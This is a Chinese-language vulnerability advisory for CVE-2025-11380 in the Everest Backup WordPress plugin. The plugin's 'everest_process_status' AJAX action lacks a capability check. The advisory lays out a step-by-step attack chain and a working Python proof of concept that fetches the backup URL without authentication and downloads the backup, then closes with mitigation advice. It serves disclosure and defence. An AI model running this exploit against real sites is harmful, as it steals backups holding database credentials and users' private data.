IPBUF安全漏洞报告
English
CVE-2025-11380 CVSS 5.9 中危

CVE-2025-11380:Everest Backup插件未授权访问漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-11380
漏洞类型
未授权访问(Missing Capability Check)
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Everest Backup – WordPress Cloud Backup, Migration, Restore & Cloning Plugin

相关标签

WordPressEverest Backup未授权访问Missing Capability CheckAJAX漏洞信息泄露备份文件泄露CWE-862中危漏洞插件安全

漏洞概述

CVE-2025-11380是WordPress平台上一款名为Everest Backup(云备份、迁移、恢复与克隆插件)的安全漏洞。该漏洞由Wordfence安全团队的安全研究员发现并报告,CVSS 3.1评分为5.9分,属于中危级别漏洞。该漏洞的根本原因在于插件中的AJAX动作'everest_process_status'缺少必要的权限验证(capability check),导致未经认证的攻击者可以通过发送特制的AJAX请求来获取备份文件的存储位置信息。由于备份文件中通常包含网站的完整数据(如数据库内容、上传的媒体文件、配置文件等),一旦备份文件被下载,可能导致敏感信息泄露,包括但不限于用户凭证、数据库连接信息、个人隐私数据等。值得注意的是,该漏洞的利用需要目标站点当前正在运行备份任务,因此攻击者需要在合适的时间窗口内发起攻击。该漏洞影响该插件的所有版本,最高至2.3.5版本(含2.3.5),影响范围广泛。该漏洞已于2025年10月11日公开披露,鉴于WordPress插件生态的广泛使用,受影响的网站数量可能较多,建议管理员及时更新插件版本以修复此漏洞。

技术细节

该漏洞的技术原理在于WordPress插件Everest Backup在实现AJAX端点时,未对调用'everest_process_status'动作的用户进行权限验证。在WordPress的标准安全实践中,所有通过admin-ajax.php或wp_ajax_* / wp_ajax_nopriv_*钩子注册的AJAX端点都应该包含适当的权限检查(如current_user_can()函数调用),以确保只有具备相应权限的用户才能访问敏感功能或数据。然而,该插件在注册'everest_process_status' AJAX动作时,缺少了权限验证逻辑,导致任何未认证的远程攻击者都可以通过向/wp-admin/admin-ajax.php发送带有action=everest_process_status参数的POST请求来调用该功能。该AJAX动作的设计目的是返回当前备份任务的进度和状态信息,其中包含了备份文件的存储路径或URL地址。攻击者获取到该路径后,可以直接通过HTTP请求下载备份文件,而无需任何身份验证。完整的攻击流程包括:首先,攻击者通过向目标站点的admin-ajax.php端点发送未认证的AJAX请求,获取备份文件位置;然后,使用获取到的URL直接下载备份压缩包;最后,解压备份文件以获取其中的敏感数据。CVSS向量显示该漏洞具有网络攻击向量(AV:N)、高复杂度(AC:H)、无需权限(PR:N)、无需用户交互(UI:N),对机密性影响为高(C:H),对完整性和可用性无影响。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过指纹识别技术(如查看页面源码中的插件路径/wp-content/plugins/everest-backup/或使用WPScan等工具)确认目标WordPress站点安装了Everest Backup插件,并确定其版本低于或等于2.3.5。
STEP 2
步骤2:探测备份任务状态
攻击者向目标站点的/wp-admin/admin-ajax.php端点发送POST请求,参数为action=everest_process_status,无需任何认证凭据。
STEP 3
步骤3:获取备份文件位置
如果目标站点当前正在运行备份任务,服务器将返回包含备份文件存储路径或下载URL的响应数据。
STEP 4
步骤4:下载备份文件
攻击者使用获取到的URL直接通过HTTP GET请求下载完整的备份压缩包,无需任何身份验证。
STEP 5
步骤5:数据提取与利用
攻击者解压备份文件,获取其中包含的数据库转储、WordPress配置文件(可能包含数据库凭证)、上传的敏感文件等,进而实施进一步攻击如凭据窃取、网站接管或数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11380 - Everest Backup Plugin Unauthorized Access PoC # Exploits missing capability check on 'everest_process_status' AJAX action import requests import sys import re from urllib.parse import urljoin def exploit(target_url): """ Exploit CVE-2025-11380 to retrieve backup file location from WordPress sites running Everest Backup plugin <= 2.3.5 """ # Step 1: Send unauthenticated AJAX request to retrieve backup status ajax_endpoint = urljoin(target_url, '/wp-admin/admin-ajax.php') payload = { 'action': 'everest_process_status' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Targeting: {target_url}") print(f"[*] Sending AJAX request to: {ajax_endpoint}") try: response = requests.post( ajax_endpoint, data=payload, headers=headers, timeout=10, verify=False ) if response.status_code == 200 and response.text: print(f"[+] Response received:") print(response.text) # Step 2: Extract backup file URL/path from response # The response may contain backup file location in JSON or HTML backup_url_match = re.search( r'(https?://[^"\s<>]+\.(?:zip|tar\.gz|sql))', response.text ) if backup_url_match: backup_url = backup_url_match.group(1) print(f"[+] Backup file URL found: {backup_url}") # Step 3: Download the backup file print(f"[*] Downloading backup file...") backup_response = requests.get(backup_url, timeout=30, verify=False) if backup_response.status_code == 200: filename = backup_url.split('/')[-1] with open(filename, 'wb') as f: f.write(backup_response.content) print(f"[+] Backup saved to: {filename}") print(f"[+] File size: {len(backup_response.content)} bytes") return True else: print(f"[-] Failed to download backup: HTTP {backup_response.status_code}") else: print("[-] No backup URL pattern found in response") # The backup might not be currently running print("[*] Note: A backup must be in progress for exploitation") else: print(f"[-] Request failed: HTTP {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url>") print(f"Example: {sys.argv[0]} https://target-wordpress-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)

影响范围

Everest Backup Plugin < 2.3.6
Everest Backup Plugin <= 2.3.5

防御指南

临时缓解措施
在等待官方补丁或无法立即升级的情况下,建议采取以下临时缓解措施:1)通过修改.htaccess文件或Nginx配置限制对/wp-admin/admin-ajax.php端点的访问,仅允许授权IP地址访问;2)在WordPress中安装安全防护插件(如Wordfence)配置规则阻止包含everest_process_status参数的未认证POST请求;3)暂时禁用Everest Backup插件的功能,仅在需要执行备份时临时启用;4)将备份文件存储目录移至Web不可访问的位置,或在备份完成后立即将文件移至安全的离线存储;5)密切监控备份文件的访问日志,发现异常下载行为立即采取响应措施;6)确保所有备份文件均经过强加密处理,即使文件被窃取也无法直接读取内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表